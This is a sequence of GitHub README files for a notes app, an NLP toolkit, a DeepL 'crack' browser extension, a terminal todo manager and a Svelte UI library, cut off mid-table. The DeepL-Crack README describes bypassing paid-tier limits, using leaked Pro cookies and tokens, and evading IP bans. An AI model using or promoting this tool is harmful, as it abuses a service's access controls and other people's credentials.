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silverbulletmd/silverbullet

# SilverBullet SilverBullet is a note-taking application optimized for people with a [hacker mindset](https://en.wikipedia.org/wiki/Hacker). We all take notes. There’s a million note taking applications out there. [Literally](https://www.noteapps.ca/). Wouldn’t it be nice to have one where your notes are _more_ than plain text files? Where your notes essentially become a _database_ that you can query; that you can build custom knowledge applications on top of? A _hackable notebook_, if you will? This is what SilverBullet aims to be. Absolutely. You use SilverBullet to quickly jot things down. It’s a notes app after all. However, this is just the beginning. Gradually, you start to annotate your notes using [Frontmatter](https://silverbullet.md/Frontmatter). You realize: “Hey, this note represents a _person_, let me [tag](https://silverbullet.md/Tags) it as such.” Before you know it, you’re turning your notes into [Objects](https://silverbullet.md/Objects). Then you learn that in SilverBullet you can [Live Query](https://silverbullet.md/Live%20Queries) these objects. Your queries grow into reusable [Templates](https://silverbullet.md/Templates) written using a powerful [Template Language](https://silverbullet.md/Template%20Language). You find more and more uses of these templates, for instance to create [new pages](https://silverbullet.md/Page%20Templates), or [widgets](https://silverbullet.md/Live%20Template%20Widgets) automatically added to your pages. And then, before you know it — you realize you’re effectively building applications in your notes app. [End-User Programming](https://silverbullet.md/End-User%20Programming), y’all. It’s cool. You may have been told there is _no such thing_ as a [silver bullet](https://en.wikipedia.org/wiki/Silver_bullet). You were told wrong. [](https://www.youtube.com/watch?v=8btx9HeuZ4s) ## Features SilverBullet... * Runs in any modern browser (including on mobile) as a PWA in two Client Modes (_online_ and _synced_ mode), where the _synced mode_ enables **100% offline operation**, keeping a copy of content in the browser, syncing back to the server when a network connection is available. * Provides an enjoyable markdown writing experience with a clean UI, rendering text using Live Preview, further **reducing visual noise** while still providing direct access to the underlying markdown syntax. * Supports wiki-style **page linking** using the `[[page link]]` syntax. Incoming links are indexed and appear as “Linked Mentions” at the bottom of the pages linked to thereby providing _bi-directional linking_. * Optimized for **keyboard-based operation**: * Quickly navigate between pages using the **page switcher** (triggered with `Cmd-k` on Mac or `Ctrl-k` on Linux and Windows). * Run commands via their keyboard shortcuts or the **command palette** (triggered with `Cmd-/` or `Ctrl-/` on Linux and Windows). * Use Slash Commands to perform common text editing operations. * Provides a platform for [end-user programming](https://www.inkandswitch.com/end-user-programming/) through its support for Objects, Live Queries and Live Templates. * Robust extension mechanism using plugs. * **Self-hosted**: you own your data. All content is stored as plain files in a folder on disk. Back up, sync, edit, publish, script with any additional tools you like. * SilverBullet is [open source, MIT licensed](https://github.com/silverbulletmd/silverbullet) software. ## Installing SilverBullet Check out the [instructions](https://silverbullet.md/Install). ## Developing SilverBullet [](https://gitpod.io/#https://github.com/silverbulletmd/silverbullet) SilverBullet is written in [TypeScript](https://www.typescriptlang.org/) and built on top of the excellent [CodeMirror 6](https://codemirror.net/) editor component. Additional UI is built using [Preact](https://preactjs.com). [ESBuild]([https://parceljs.org/](https://esbuild.github.io)) is used to build both the front-end and back-end bundles. The server backend runs as a HTTP server on Deno using and is written using [Oak](https://oakserver.github.io/oak/). To prepare the initial web and plug build run: ```shell deno task build ``` To symlink `silverbullet` to your locally checked-out version, run: ```shell deno task install ``` You can then run the server in “watch mode” (automatically restarting when you change source files) with: ```shell deno task watch-server <PATH-TO-YOUR-SPACE> ``` After this initial build, it's convenient to run three commands in parallel (in separate terminals): ```shell deno task watch-web deno task watch-server <PATH-TO-YOUR-SPACE> deno task watch-plugs ``` To typecheck the entire codebase (recommended before submitting PR): ```shell deno task check ``` To run unit tests: ```shell deno task test ``` ## Feedback If you (hypothetically) find bugs or have feature requests, post them in [our issue tracker](https://github.com/silverbulletmd/silverbullet/issues). Would you like to contribute? [Check out the code](https://github.com/silverbulletmd/silverbullet), and the issue tracker as well for ideas on what to work on. Also be sure to check out our [Discourse community](https://community.silverbullet.md).

The hackable notebook

knowledge-management,markdown,personal-knowledge-management,note-taking,end-user-programming

alibaba/EasyNLP

<p align="center"> <br> <img src="https://cdn.nlark.com/yuque/0/2022/png/2480469/1649317417481-d20971cd-cd4f-4e29-8587-c342a128b762.png" width="200"/> <br> <p> <p align="center"> <b> EasyNLP is a Comprehensive and Easy-to-use NLP Toolkit </b> </p> <div align="center"> [](https://www.yuque.com/easyx/easynlp/iobg30) [](https://dsw-dev.data.aliyun.com/#/?fileUrl=https://raw.githubusercontent.com/alibaba/EasyTransfer/master/examples/easytransfer-quick_start.ipynb&fileName=easytransfer-quick_start.ipynb) [](https://github.com/alibaba/EasyNLP/issues) [](https://GitHub.com/alibaba/EasyNLP/pull/) [](https://GitHub.com/alibaba/EasyNLP/commit/) [](http://makeapullrequest.com) </div> # EasyNLP [中文介绍](https://github.com/alibaba/EasyNLP/blob/master/README.cn.md) EasyNLP is an easy-to-use NLP development and application toolkit in PyTorch, first released inside Alibaba in 2021. It is built with scalable distributed training strategies and supports a comprehensive suite of NLP algorithms for various NLP applications. EasyNLP integrates knowledge distillation and few-shot learning for landing large pre-trained models, together with various popular multi-modality pre-trained models. It provides a unified framework of model training, inference, and deployment for real-world applications. It has powered more than 10 BUs and more than 20 business scenarios within the Alibaba group. It is seamlessly integrated to [Platform of AI (PAI)](https://www.aliyun.com/product/bigdata/product/learn) products, including PAI-DSW for development, PAI-DLC for cloud-native training, PAI-EAS for serving, and PAI-Designer for zero-code model training. # Main Features - **Easy to use and highly customizable:** In addition to providing easy-to-use and concise commands to call cutting-edge models, it also abstracts certain custom modules such as AppZoo and ModelZoo to make it easy to build NLP applications. It is equipped with the PAI PyTorch distributed training framework TorchAccelerator to speed up distributed training. - **Compatible with open-source libraries:** EasyNLP has APIs to support the training of models from Huggingface/Transformers with the PAI distributed framework. It also supports the pre-trained models in [EasyTransfer](https://github.com/alibaba/EasyTransfer) ModelZoo. - **Knowledge-injected pre-training:** The PAI team has a lot of research on knowledge-injected pre-training, and builds a knowledge-injected model that wins first place in the CCF knowledge pre-training competition. EasyNLP integrates these cutting-edge knowledge pre-trained models, including DKPLM and KGBERT. - **Landing large pre-trained models:** EasyNLP provides few-shot learning capabilities, allowing users to finetune large models with only a few samples to achieve good results. At the same time, it provides knowledge distillation functions to help quickly distill large models to a small and efficient model to facilitate online deployment. - **Multi-modality pre-trained models:** EasyNLP is not about NLP only. It also supports various popular multi-modality pre-trained models to support vision-language tasks that require visual knowledge. For example, it is equipped with CLIP-style models for text-image matching and DALLE-style models for text-to-image generation. # Technical Articles We have a series of technical articles on the functionalities of EasyNLP. - [BeautifulPrompt：PAI推出自研Prompt美化器，赋能AIGC一键出美图](https://zhuanlan.zhihu.com/p/636546340) - [PAI-Diffusion中文模型全面升级，海量高清艺术大图一键生成](https://zhuanlan.zhihu.com/p/632031092) - [EasyNLP集成K-Global Pointer算法，支持中文信息抽取](https://zhuanlan.zhihu.com/p/608560954) - [阿里云PAI-Diffusion功能再升级，全链路支持模型调优，平均推理速度提升75%以上](https://zhuanlan.zhihu.com/p/604483551) - [PAI-Diffusion模型来了！阿里云机器学习团队带您徜徉中文艺术海洋](https://zhuanlan.zhihu.com/p/590020134) - [模型精度再被提升，统一跨任务小样本学习算法 UPT 给出解法!](https://zhuanlan.zhihu.com/p/590611518) - [Span抽取和元学习能碰撞出怎样的新火花，小样本实体识别来告诉你!](https://zhuanlan.zhihu.com/p/590297824) - [算法 KECP 被顶会 EMNLP 收录，极少训练数据就能实现机器阅读理解](https://zhuanlan.zhihu.com/p/590024650) - [当大火的文图生成模型遇见知识图谱，AI画像趋近于真实世界](https://zhuanlan.zhihu.com/p/581870071) - [EasyNLP发布融合语言学和事实知识的中文预训练模型CKBERT](https://zhuanlan.zhihu.com/p/574853281) - [EasyNLP带你实现中英文机器阅读理解](https://zhuanlan.zhihu.com/p/568890245) - [跨模态学习能力再升级，EasyNLP电商文图检索效果刷新SOTA](https://zhuanlan.zhihu.com/p/568512230) - [EasyNLP玩转文本摘要（新闻标题）生成](https://zhuanlan.zhihu.com/p/566607127) - [中文稀疏GPT大模型落地 — 通往低成本&高性能多任务通用自然语言理解的关键里程碑](https://zhuanlan.zhihu.com/p/561320982) - [EasyNLP集成K-BERT算法，借助知识图谱实现更优Finetune](https://zhuanlan.zhihu.com/p/553816104) - [EasyNLP中文文图生成模型带你秒变艺术家](https://zhuanlan.zhihu.com/p/547063102) - [面向长代码序列的Transformer模型优化方法，提升长代码场景性能](https://zhuanlan.zhihu.com/p/540060701) - [EasyNLP带你玩转CLIP图文检索](https://zhuanlan.zhihu.com/p/528476134) - [阿里云机器学习PAI开源中文NLP算法框架EasyNLP，助力NLP大模型落地](https://zhuanlan.zhihu.com/p/505785399) - [预训练知识度量比赛夺冠！阿里云PAI发布知识预训练工具](https://zhuanlan.zhihu.com/p/449487792) # Installation You can setup from the source： ```bash $ git clone https://github.com/alibaba/EasyNLP.git $ cd EasyNLP $ python setup.py install ``` This repo is tested on Python 3.6, PyTorch >= 1.8. # Quick Start Now let's show how to use just a few lines of code to build a text classification model based on BERT. ```python from easynlp.appzoo import ClassificationDataset from easynlp.appzoo import get_application_model, get_application_evaluator from easynlp.core import Trainer from easynlp.utils import initialize_easynlp, get_args from easynlp.utils.global_vars import parse_user_defined_parameters from easynlp.utils import get_pretrain_model_path initialize_easynlp() args = get_args() user_defined_parameters = parse_user_defined_parameters(args.user_defined_parameters) pretrained_model_name_or_path = get_pretrain_model_path(user_defined_parameters.get('pretrain_model_name_or_path', None)) train_dataset = ClassificationDataset( pretrained_model_name_or_path=pretrained_model_name_or_path, data_file=args.tables.split(",")[0], max_seq_length=args.sequence_length, input_schema=args.input_schema, first_sequence=args.first_sequence, second_sequence=args.second_sequence, label_name=args.label_name, label_enumerate_values=args.label_enumerate_values, user_defined_parameters=user_defined_parameters, is_training=True) valid_dataset = ClassificationDataset( pretrained_model_name_or_path=pretrained_model_name_or_path, data_file=args.tables.split(",")[-1], max_seq_length=args.sequence_length, input_schema=args.input_schema, first_sequence=args.first_sequence, second_sequence=args.second_sequence, label_name=args.label_name, label_enumerate_values=args.label_enumerate_values, user_defined_parameters=user_defined_parameters, is_training=False) model = get_application_model(app_name=args.app_name, pretrained_model_name_or_path=pretrained_model_name_or_path, num_labels=len(valid_dataset.label_enumerate_values), user_defined_parameters=user_defined_parameters) trainer = Trainer(model=model, train_dataset=train_dataset,user_defined_parameters=user_defined_parameters, evaluator=get_application_evaluator(app_name=args.app_name, valid_dataset=valid_dataset,user_defined_parameters=user_defined_parameters, eval_batch_size=args.micro_batch_size)) trainer.train() ``` The complete example can be found [here](https://github.com/alibaba/EasyNLP/blob/master/examples/appzoo_tutorials/sequence_classification/bert_classify/run_train_eval_predict_user_defined_local.sh). You can also use AppZoo Command Line Tools to quickly train an App model. Take text classification on SST-2 dataset as an example. First you can download the [train.tsv](http://atp-modelzoo-sh.oss-cn-shanghai.aliyuncs.com/release/tutorials/classification/train.tsv), and [dev.tsv](http://atp-modelzoo-sh.oss-cn-shanghai.aliyuncs.com/release/tutorials/classification/dev.tsv), then start training: ```bash $ easynlp \ --mode=train \ --worker_gpu=1 \ --tables=train.tsv,dev.tsv \ --input_schema=label:str:1,sid1:str:1,sid2:str:1,sent1:str:1,sent2:str:1 \ --first_sequence=sent1 \ --label_name=label \ --label_enumerate_values=0,1 \ --checkpoint_dir=./classification_model \ --epoch_num=1 \ --sequence_length=128 \ --app_name=text_classify \ --user_defined_parameters='pretrain_model_name_or_path=bert-small-uncased' ``` And then predict: ```bash $ easynlp \ --mode=predict \ --tables=dev.tsv \ --outputs=dev.pred.tsv \ --input_schema=label:str:1,sid1:str:1,sid2:str:1,sent1:str:1,sent2:str:1 \ --output_schema=predictions,probabilities,logits,output \ --append_cols=label \ --first_sequence=sent1 \ --checkpoint_path=./classification_model \ --app_name=text_classify ``` To learn more about the usage of AppZoo, please refer to our [documentation](https://www.yuque.com/easyx/easynlp/kkhkai). # ModelZoo EasyNLP currently provides the following models in ModelZoo: 1. PAI-BERT-zh (from Alibaba PAI): pre-trained BERT models with a large Chinese corpus. 2. DKPLM (from Alibaba PAI): released with the paper [DKPLM: Decomposable Knowledge-enhanced Pre-trained Language Model for Natural Language Understanding](https://arxiv.org/pdf/2112.01047.pdf) by Taolin Zhang, Chengyu Wang, Nan Hu, Minghui Qiu, Chengguang Tang, Xiaofeng He and Jun Huang. 3. KGBERT (from Alibaba Damo Academy & PAI): pre-train BERT models with knowledge graph embeddings injected. 4. BERT (from Google): released with the paper [BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding](https://aclanthology.org/N19-1423.pdf) by Jacob Devlin, Ming-Wei Chang, Kenton Lee and Kristina Toutanova. 5. RoBERTa (from Facebook): released with the paper [RoBERTa: A Robustly Optimized BERT Pretraining Approach](https://arxiv.org/pdf/1907.11692.pdf) by Yinhan Liu, Myle Ott, Naman Goyal, Jingfei Du, Mandar Joshi, Danqi Chen, Omer Levy, Mike Lewis, Luke Zettlemoyer and Veselin Stoyanov. 6. Chinese RoBERTa (from HFL): the Chinese version of RoBERTa. 7. MacBERT (from HFL): released with the paper [Revisiting Pre-trained Models for Chinese Natural Language Processing](https://aclanthology.org/2020.findings-emnlp.58.pdf) by Yiming Cui, Wanxiang Che, Ting Liu, Bing Qin, Shijin Wang and Guoping Hu. 8. WOBERT (from ZhuiyiTechnology): the word-based BERT for the Chinese language. 9. FashionBERT (from Alibaba PAI & ICBU): in progress. 10. GEEP (from Alibaba PAI): in progress. 11. Mengzi (from Langboat): released with the paper [Mengzi: Towards Lightweight yet Ingenious Pre-trained Models for Chinese](https://arxiv.org/pdf/2110.06696.pdf) by Zhuosheng Zhang, Hanqing Zhang, Keming Chen, Yuhang Guo, Jingyun Hua, Yulong Wang and Ming Zhou. 12. Erlangshen (from IDEA): released from the [repo](https://github.com/IDEA-CCNL/Fengshenbang-LM). Please refer to this [readme](https://github.com/alibaba/EasyNLP/blob/master/easynlp/modelzoo/README.md) for the usage of these models in EasyNLP. Meanwhile, EasyNLP supports to load pretrained models from Huggingface/Transformers, please refer to [this tutorial](https://www.yuque.com/easyx/easynlp/qmq8wh) for details. # EasyNLP Goes Multi-modal EasyNLP also supports various popular multi-modality pre-trained models to support vision-language tasks that require visual knowledge. For example, it is equipped with CLIP-style models for text-image matching and DALLE-style models for text-to-image generation. 1. [Text-image Matching](https://github.com/alibaba/EasyNLP/blob/master/examples/clip_retrieval/run_clip_local.sh) 2. [Text-to-image Generation](https://github.com/alibaba/EasyNLP/blob/master/examples/text2image_generation/run_appzoo_cli_local.sh) 3. [Image-to-text Generation](https://github.com/alibaba/EasyNLP/blob/master/examples/image2text_generation/run_appzoo_cli_local_clip.sh) # Landing Large Pre-trained Models EasyNLP provide few-shot learning and knowledge distillation to help land large pre-trained models. 1. [PET](https://github.com/alibaba/EasyNLP/blob/master/examples/fewshot_learning/run_fewshot_pet.sh) (from LMU Munich and Sulzer GmbH): released with the paper [Exploiting Cloze Questions for Few Shot Text Classification and Natural Language Inference](https://aclanthology.org/2021.eacl-main.20.pdf) by Timo Schick and Hinrich Schutze. We have made some slight modifications to make the algorithm suitable for the Chinese language. 2. [P-Tuning](https://github.com/alibaba/EasyNLP/blob/master/examples/fewshot_learning/run_fewshot_ptuning.sh) (from Tsinghua University, Beijing Academy of AI, MIT and Recurrent AI, Ltd.): released with the paper [GPT Understands, Too](https://arxiv.org/pdf/2103.10385.pdf) by Xiao Liu, Yanan Zheng, Zhengxiao Du, Ming Ding, Yujie Qian, Zhilin Yang and Jie Tang. We have made some slight modifications to make the algorithm suitable for the Chinese language. 3. [CP-Tuning](https://github.com/alibaba/EasyNLP/blob/master/examples/fewshot_learning/run_fewshot_cpt.sh) (from Alibaba PAI): released with the paper [Making Pre-trained Language Models End-to-end Few-shot Learners with Contrastive Prompt Tuning](https://arxiv.org/pdf/2204.00166.pdf) by Ziyun Xu, Chengyu Wang, Minghui Qiu, Fuli Luo, Runxin Xu, Songfang Huang and Jun Huang. 4. [Vanilla KD](https://github.com/alibaba/EasyNLP/tree/master/examples/knowledge_distillation) (from Alibaba PAI): distilling the logits of large BERT-style models to smaller ones. 5. [Meta KD](https://github.com/alibaba/EasyNLP/tree/master/examples/knowledge_distillation) (from Alibaba PAI): released with the paper [Meta-KD: A Meta Knowledge Distillation Framework for Language Model Compression across Domains](https://aclanthology.org/2021.acl-long.236.pdf) by Haojie Pan, Chengyu Wang, Minghui Qiu, Yichang Zhang, Yaliang Li and Jun Huang. 6. [Data Augmentation](https://github.com/alibaba/EasyNLP/tree/master/examples/knowledge_distillation/test_data_aug.sh) (from Alibaba PAI): augmentating the data based on the MLM head of pre-trained language models. # [CLUE Benchmark](https://www.cluebenchmarks.com/) EasyNLP provides [a simple toolkit](https://github.com/alibaba/EasyNLP/tree/master/benchmarks/clue) to benchmark clue datasets. You can simply use just this command to benchmark CLUE dataset. ```bash # Format: bash run_clue.sh device_id train/predict dataset # e.g.: bash run_clue.sh 0 train csl ``` We've tested chiese bert and roberta modelson the datasets, the results of dev set are: (1) bert-base-chinese: | Task | AFQMC | CMNLI | CSL | IFLYTEK | OCNLI | TNEWS | WSC | |------|--------|--------|--------|---------|--------|--------|--------| | P | 72.17% | 75.74% | 80.93% | 60.22% | 78.31% | 57.52% | 75.33% | | F1 | 52.96% | 75.74% | 81.71% | 60.22% | 78.30% | 57.52% | 80.82% | (2) chinese-roberta-wwm-ext: | Task | AFQMC | CMNLI | CSL | IFLYTEK | OCNLI | TNEWS | WSC | |------|--------|--------|--------|---------|--------|--------|--------| | P | 73.10% | 80.75% | 80.07% | 60.98% | 80.75% | 57.93% | 86.84% | | F1 | 56.04% | 80.75% | 81.50% | 60.98% | 80.75% | 57.93% | 89.58% | Here is the detailed [CLUE benchmark example](https://github.com/alibaba/EasyNLP/tree/master/benchmarks/clue). # Tutorials - [自定义文本分类示例](https://www.yuque.com/easyx/easynlp/ds35qn) - [QuickStart-文本分类](https://www.yuque.com/easyx/easynlp/rxne07) - [QuickStart-PAI DSW](https://www.yuque.com/easyx/easynlp/gvat1o) - [QuickStart-MaxCompute/ODPS数据](https://www.yuque.com/easyx/easynlp/vgwe7f) - [AppZoo-文本向量化](https://www.yuque.com/easyx/easynlp/ts4czl) - [AppZoo-文本分类/匹配](https://www.yuque.com/easyx/easynlp/vgbopy) - [AppZoo-序列标注](https://www.yuque.com/easyx/easynlp/qkwqmb) - [AppZoo-GEEP文本分类](https://www.yuque.com/easyx/easynlp/lepm0q) - [AppZoo-文本生成](https://www.yuque.com/easyx/easynlp/svde6x) - [基础预训练实践](https://www.yuque.com/easyx/easynlp/lm1a5t) - [知识预训练实践](https://www.yuque.com/easyx/easynlp/za7ywp) - [知识蒸馏实践](https://www.yuque.com/easyx/easynlp/ffu6p9) - [跨任务知识蒸馏实践](https://www.yuque.com/easyx/easynlp/izbfqt) - [小样本学习实践](https://www.yuque.com/easyx/easynlp/ochmnf) - [Rapidformer模型训练加速实践](https://www.yuque.com/easyx/easynlp/bi6nzc) - API docs: [http://atp-modelzoo-sh.oss-cn-shanghai.aliyuncs.com/release/easynlp/easynlp_docs/html/index.html](http://atp-modelzoo-sh.oss-cn-shanghai.aliyuncs.com/release/easynlp/easynlp_docs/html/index.html) # License This project is licensed under the [Apache License (Version 2.0)](https://github.com/alibaba/EasyNLP/blob/master/LICENSE). This toolkit also contains some code modified from other repos under other open-source licenses. See the [NOTICE](https://github.com/alibaba/EasyNLP/blob/master/NOTICE) file for more information. # ChangeLog - EasyNLP v0.0.3 was released in 01/04/2022. Please refer to [tag_v0.0.3](https://github.com/alibaba/EasyNLP/releases/tag/v0.0.3) for more details and history. # Contact Us Scan the following QR codes to join Dingtalk discussion group. The group discussions are mostly in Chinese, but English is also welcomed. <img src="https://cdn.nlark.com/yuque/0/2022/png/2480469/1649324662278-fe178523-6b14-4eff-8f50-7abbf468f751.png?x-oss-process=image%2Fresize%2Cw_357%2Climit_0" width="300"/> # Reference - DKPLM: https://paperswithcode.com/paper/dkplm-decomposable-knowledge-enhanced-pre - MetaKD: https://paperswithcode.com/paper/meta-kd-a-meta-knowledge-distillation - CP-Tuning: https://paperswithcode.com/paper/making-pre-trained-language-models-end-to-end-1 - FashionBERT: https://paperswithcode.com/paper/fashionbert-text-and-image-matching-with We have [an arxiv paper](https://paperswithcode.com/paper/easynlp-a-comprehensive-and-easy-to-use) for you to cite for the EasyNLP library: ``` @article{easynlp, doi = {10.48550/ARXIV.2205.00258}, url = {https://arxiv.org/abs/2205.00258}, author = {Wang, Chengyu and Qiu, Minghui and Zhang, Taolin and Liu, Tingting and Li, Lei and Wang, Jianing and Wang, Ming and Huang, Jun and Lin, Wei}, title = {EasyNLP: A Comprehensive and Easy-to-use Toolkit for Natural Language Processing}, publisher = {arXiv}, year = {2022} } ```

EasyNLP: A Comprehensive and Easy-to-use NLP Toolkit

transformers,bert,nlp,pretrained-models,deep-learning,pytorch,fewshot-learning,knowledge-distillation,knowledge-pretraining,text-image-retrieval

blueagler/DeepL-Crack

# DeepL Crack (Chromium Extension)  ## This project is for research only. You should delete it within 24 hours. All tokens come from the internet. The author is not responsible for any action you take in using it. ## Preview https://user-images.githubusercontent.com/61572188/221816073-67c11553-1387-43a1-803c-bbc0692333d7.mov ## Features - Bypass the free translator's limit of 5,000 characters - Remove edit restriction (available for docx, doc, ppt, pptx, pdf) - Remove DeepL Pro Banner for docx, doc, ppt, pptx files - Use DeepL Pro Account Cookies/DeepL Api Free Token to translate (This can help you bypass frequency limitations of web api) - Unlock Formal/informal tone - Clean cookie and randomnize User Agent ## Limitations > ### DeepL may ban your IP due to high frequency of requests to web api. There are 2 solutions: > - Use DeepL Pro Account Cookies/DeepL Api Free Token to translate. > - First, Use a proxy to change IP. Then, click clean cookie button. > ### File translation quota and maximum upload size of 5 MB are not cracked due to server verification. > ### Edge users should disable Advanced Security for deepl.com so that this extension can unlock PDF. ## Installation tutorial 1. Go to [release page](https://github.com/blueagler/DeepL-Crack/releases) and download the latest version (e.g. DeepL Crack v1.1.8.zip) 2. Decompress this zip file 3. Go to Chrome's plug-in settings page 4. Enable developer mode 5. Click to load the decompressed plug-in 6. Select the decompressed folder ## How it works This extension is made with Preact and material-ui. It hijacks XMLHttpRequest. It use WebAssembly to unlock PDF files. ## Support me: <a href="https://www.buymeacoffee.com/blueagler"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" height="50" align="right"/></a> <img src="https://github.com/blueagler/blueagler/raw/main/assets/wechat_reward_code.JPG" height="400"/> <img src="https://github.com/blueagler/blueagler/raw/main/assets/alipay_reward_code.JPG" height="400"/> ## Telegram Channel & Group <a href="https://t.me/DeepL_Crack_Announcement"><img src="https://user-images.githubusercontent.com/61572188/221822226-47c6469b-06b6-4151-9ad6-36a3da10b2b7.jpg" width="300px"/></a> <a href="https://t.me/DeepL_Crack"><img src="https://user-images.githubusercontent.com/61572188/221823275-8ff3b6a7-cf00-438e-800a-050bd96bdadc.jpg" width="300px"/></a>

Bypass 5,000 characters, Remove edit restriction, Use DeepL Pro Account Cookies/DeepL Api Free Token to translate, Unlock Formal/informal tone, Randomize fingerprint

chrome-extension,chrome-extensions,crack,deepl

kraanzu/dooit

 # Dooit ✔️ *A todo manager that you didn't ask for, but needed !* \ to make sure that you complete your tasks on time ;) [](https://github.com/kraanzu/doit/issues) [](https://github.com/kraanzu/doit/stargazers) [](https://github.com/kraanzu/doit/blob/main/LICENSE) [](https://discord.gg/WA2ER9MBWa) # Installation 🔨 Dooit can be installed with various package managers! ### With Pip 🐍 > **Note** Make sure your `python local bin` is in `$PATH` You can install dooit easily using a python one-liner. ```bash pip install dooit ``` ### With AUR helper 📦 ``` yay -S dooit ``` ### With Homebrew 🍻 You can install the latest stable version of dooit with [Homebrew](https://brew.sh): ```bash brew install dooit ``` Alternatively, you can install the most recent development version of dooit: ```bash brew install dooit --HEAD ``` # Features 🌟 > Some features that dooit comes with: - An interactive & beautiful UI - Configurable icons, themes and bar! - Vim like keybindings - Topicwise separated Todo Lists (With branching) - Nested todos! - Support for recurrence todos - Sort options with menu (Name, Date, Urgency, Status) **Note: See [CHANGELOG.md](CHANGELOG.md) to get more details on changes and feature additions!** # Usage and configuration :gear: After launching the app, You can press the `?` key to get started with the app :)\ You can also tweak everything including the UI, keybindings and status bar to your liking\ Head over to [wiki](https://github.com/kraanzu/dooit/wiki/Configuration) to know more! # Screenshots 🖼️  # Contribution 🤝 - Want to contribute? Feel free to open a PR! 😸 - Got some ideas for improvements? I'm all ears! 👂 ---------------------------- #### Other TUI projects 🤓 : If you liked dooit then you might wanna try out some of my other TUI projects as well - [smassh](https://github.com/kraanzu/smassh) - A typing-test app for terminal - [gupshup](https://github.com/kraanzu/gupshup) - A localhost TUI chat client

An awesome TUI todo manager

python3,terminal-based,todolist,tui,rich,textual,unixporn,cli,todo-app

themesberg/flowbite-svelte

# FLOWBITE-SVELTE [](https://www.npmjs.com/package/flowbite-svelte) [](https://www.npmjs.com/package/flowbite-svelte) [](https://www.npmjs.com/package/flowbite-svelte) [](https://github.com/themesberg/flowbite-svelte/blob/main/LICENSE) [](https://discord.com/invite/4eeurUVvTy) **⚠️ Flowbite Svelte is currently in early development and APIs and packages are likely to change quite often.** <p> <a href="https://flowbite-svelte.com" > <img alt="Flowbite Svelte UI components" width="350" src="https://raw.githubusercontent.com/themesberg/flowbite-svelte/main/static/images/flowbite-svelte.png"> </a><br> Build websites even faster with Svelte components on top of Tailwind CSS </p> [Flowbite Svelte](https://flowbite-svelte.com/) is an official Flowbite UI component library for Svelte. All interactivities are handled by Svelte. [Visualize this repo's codebase](https://mango-dune-07a8b7110.1.azurestaticapps.net/?repo=themesberg%2Fflowbite-svelte) ## Installation - [Getting started](https://flowbite-svelte.com/docs/pages/quickstart) - [Introduction](https://flowbite-svelte.com/docs/pages/introduction) - [Types](https://flowbite-svelte.com/docs/pages/typescript) - [How to contribute](https://flowbite-svelte.com/docs/pages/how-to-contribute) - [License](https://flowbite-svelte.com/docs/pages/license) ## Documentation For full documentation, visit [flowbite-svelte.com](https://flowbite-svelte.com/). ## Components <table> <tr> <td width="33.3333%">Alert</td> <td width="33.3333%">Badge</td> <td width="33.3333%">Breadcrumb</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/alert"> <img alt="Svelte Alerts" src="https://flowbite.s3.amazonaws.com/github/svelte/alerts.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/badge"> <img alt="Svelte Badge" src="https://flowbite.s3.amazonaws.com/github/svelte/badge.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/breadcrumb"> <img alt="Svelte Breadcrumbs" src="https://flowbite.s3.amazonaws.com/github/svelte/breadcrumbs.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Button</td> <td width="33.3333%">Button group</td> <td width="33.3333%">Card</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/buttons"> <img alt="Svelte Buttons" src="https://flowbite.s3.amazonaws.com/github/svelte/buttons.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/button-group"> <img alt="Svelte Button Group" src="https://flowbite.s3.amazonaws.com/github/svelte/button-group.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/card"> <img alt="Svelte Cards" src="https://flowbite.s3.amazonaws.com/github/svelte/cards.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Dropdown</td> <td width="33.3333%">Forms</td> <td width="33.3333%">List group</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/dropdown"> <img alt="Svelte Dropdown" src="https://flowbite.s3.amazonaws.com/github/svelte/dropdown.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/forms"> <img alt="Svelte Forms" src="https://flowbite.s3.amazonaws.com/github/svelte/forms.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/list-group"> <img alt="Svelte List group" src="https://flowbite.s3.amazonaws.com/github/svelte/list-group.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Typography</td> <td width="33.3333%">Modal</td> <td width="33.3333%">Tabs</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/typography"> <img alt="Svelte Typography" src="https://flowbite.s3.amazonaws.com/github/svelte/typography.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/modal"> <img alt="Svelte Modal" src="https://flowbite.s3.amazonaws.com/github/svelte/modal.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/tabs"> <img alt="Svelte Tabs" src="https://flowbite.s3.amazonaws.com/github/svelte/tabs.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Navbar</td> <td width="33.3333%">Pagination</td> <td width="33.3333%">Timeline</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/navbar"> <img alt="Svelte Navbar" src="https://flowbite.s3.amazonaws.com/github/svelte/navbar.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/pagination"> <img alt="Svelte Pagination" src="https://flowbite.s3.amazonaws.com/github/svelte/pagination.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/timeline"> <img alt="Svelte Timeline" src="https://flowbite.s3.amazonaws.com/github/svelte/timeline.jpg"> </a> </td> </tr> <tr> <td width="33.3333%">Progress bar</td> <td width="33.3333%">Table</td> <td width="33.3333%">Toast</td> </tr> <tr> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/progress"> <img alt="Svelte Progress Bar" src="https://flowbite.s3.amazonaws.com/github/svelte/progress.jpg"> </a> </td> <td width="33.3333%"> <a href="https://flowbite-svelte.com/docs/components/table"> <img alt="Svelte Tables" 